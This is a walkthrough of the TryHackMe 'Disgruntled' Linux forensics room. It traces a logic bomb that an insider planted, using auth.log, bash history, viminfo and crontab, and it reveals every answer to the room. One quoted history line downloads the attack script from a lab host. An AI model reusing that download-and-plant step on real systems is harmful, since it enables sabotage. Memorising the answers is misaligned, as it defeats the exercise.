THM Walkthrough: Disgruntled

This is a walkthrough for TryHackMe’s recently released Disgruntled room. It is focused on Linux forensics and has a difficulty rating of easy. To complete the challenge a basic understanding of the Linux file system and its commands is recommended .

Tasks 1 & 2: Introduction

Hey, kid! Good, you’re here! Not sure if you’ve seen the news, but an employee from the IT department of one of our clients (CyberT) got arrested by the police. The guy was running a successful phishing operation as a side gig. CyberT wants us to check if this person has done anything malicious to any of their assets. Get set up, grab a cup of coffee, and meet me in the conference room.

These first two tasks simply introduce the scenario and provide a cheat sheet for Linux commands. Nothing is required other than to click the ‘completed’ button to continue.

Task 3: Nothing suspicious

Here’s the machine our disgruntled IT user last worked on. Check if there’s anything our client needs to be worried about. My advice: Look at the privileged commands that were run. That should get you started.

• Q1. The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?

We can find the answer to this by checking /var/log/auth.log. To focus the results a bit more we can use grep to search for instances of ‘sudo’ which indicates elevated privilege. We'll also want to search for instances of ‘install’ which is the command used to install packages. So to find the answer, we would run

grep sudo /var/log/auth.log | grep install

Click to view the answer to Q1

/usr/bin/apt install dokuwiki

• Q2. What was the present working directory (PWD) when the previous command was run?

The answer to this can also be found using the same command we just ran

grep sudo /var/log/auth.log | grep install 

Click to view the answer to Q2

/home/cybert

Task 4 Let’s see if you did anything bad

Keep going. Our disgruntled IT was supposed to only install a service on this computer, so look for commands that are unrelated to that.

• Q1. Which user was created after the package from the previous task was installed?

We’ll check the same log to find this information, but filter it to search for the command that allows for users to be created

 grep sudo /var/log/auth.log | grep adduser 

Click to view the answer to Q1

it-admin

• Q2. A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)

Same idea as before, but we’re going to look for the visudo tool to be called. Visudo is used to update or modify the sudoers file.

grep sudo /var/log/auth.log | grep visudo

Click to view the answer to Q2

Dec 28 06:27:34

• Q3. A script file was opened using the “vi” text editor. What is the name of this file?

Just like when we searched for visudo, we’re now going to adjust our search to look for vi being called to open the vi text editor.

grep sudo /var/log/auth.log | grep vi

Click to view the answer to Q3

bomb.sh

Task 5: Bomb has been planted. But when and where?

That bomb.sh file is a huge red flag! While a file is already incriminating in itself, we still need to find out where it came from and what it contains. The problem is that the file does not exist anymore.

• Q1. What is the command used that created the file bomb.sh?

Thanks to the previous section we know what user was created for this attack. We can check what commands they’ve run by looking at their bash history

cat /home/it-admin/.bash_history

Click to view the answer to Q1

curl 10.10.158.38:8080/bomb.sh --output bomb.sh

• Q2. The file was renamed and moved to a different directory. What is the full path of this file now?

We already know the attacker has a preference for the vi text editor so let’s check it’s history for any entries that might indicate renaming the file

cat /home/it-admin/.viminfo | grep saveas

Click to view the answer to Q2

/bin/os-update.sh

• Q3. When was the file from the previous question last modified? (Format: Month Day HH:MM)

We know the name and location of the file, so let’s pull up some details for it

ls -la /bin | grep os-update

Click to view the answer to Q3

Dec 28 06:29

• Q4. What is the name of the file that will get created when the file from the first question executes?

To find this information we just need to examine the file

cat /bin/os-update.sh

Click to view the answer to Q4

goodbye.txt

Task 6: Follow the fuse

So we have a file and a motive. The question we now have is: how will this file be executed? Surely, he wants it to execute at some point?

• Q1. At what time will the malicious file trigger? (Format: HH:MM AM/PM)

So we’ve got a logic bomb ready to be detonated at some point. In Linux scheduled tasks are called cron jobs, we can find information on them by looking at the crontab

cat /etc/crontab

These are displayed in a unique format comprised of different columns to showcase the specific time a task is set to run. The columns, in order, coordinate with minute, hour, day of the month, month, and day of the week. So with that we get our answer

Click to view the answer to Q1

08:00 AM

Task 7: Conclusion

Thanks to you, we now have a good idea of what our disgruntled IT person was planning. We know that he had downloaded a previously prepared script into the machine, which will delete all the files of the installed service if the user has not logged in to this machine in the last 30 days. It’s a textbook example of a “logic bomb”, that’s for sure. Look at you, second day on the job, and you’ve already solved 2 cases for me. Tell Sophie I told you to give you a raise.

There is nothing here to complete, our investigation is over. Just click the ‘completed’ button to finish the room.